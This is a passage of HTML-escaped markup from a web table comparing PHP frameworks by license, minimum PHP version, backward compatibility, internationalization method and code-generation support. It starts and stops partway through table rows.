License&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;AGPL, Proprietary&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;OpenSource (custom)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD-style&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD-style&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;GPL3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;LGPL&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;LGPLV3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;New BSD License&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;MIT&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;BSD&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_10&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;GPL&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v11_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v11_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v11_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v11_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Requirements&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;=PHP5.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.2.8&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.1.6&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.1.6&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;=PHP 5.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= 5.3.7 with mcrypt extension&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= 5.3.7 with mcrypt extension&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.3.1&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP &amp;gt;= 5.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.3.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;=PHP5&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;=PHP 5.3.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= 5.3.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;=PHP 5.3.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;=PHP 5.3.0&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.3.2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.4&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.3&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_11&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&amp;gt;= PHP 5.3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v12_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v12_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v12_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v12_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Backward compatibility&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Toute la branche 4.* , depuis 2009&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_12&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;section&quot; id=&quot;v13_1&quot;&gt;&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v13_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v13_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Features&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v45_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v46_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v47_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v48_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v49_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v50_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v51_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v52_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v53_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v54_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v55_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v56_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v57_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v58_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v59_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v60_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v61_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v62_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v63_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v64_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v65_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v66_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v67_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v68_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v69_13&quot;&gt;&lt;/th&gt;&lt;th class=&quot; section&quot; id=&quot;v70_13&quot;&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v14_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v14_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v14_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v14_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Internationalization I18N / L10n&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;callback gettext array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;gettext, PHP array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;language class&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;language class&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;ICU/intl&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;XML File, PHP Array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHP array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;language class&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;plugin_i18n&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;FINE&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Zend I18N has UI interface&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;gettext, PHP array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;language class&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;XML (XLIFF)&lt;br /&gt;
CSV&lt;br /&gt;
PHP&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;gettext&lt;br /&gt;
database&lt;br /&gt;
PHP array&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_14&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;gettext&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v15_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v15_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v15_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v15_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Code generation&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Discouraged&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; 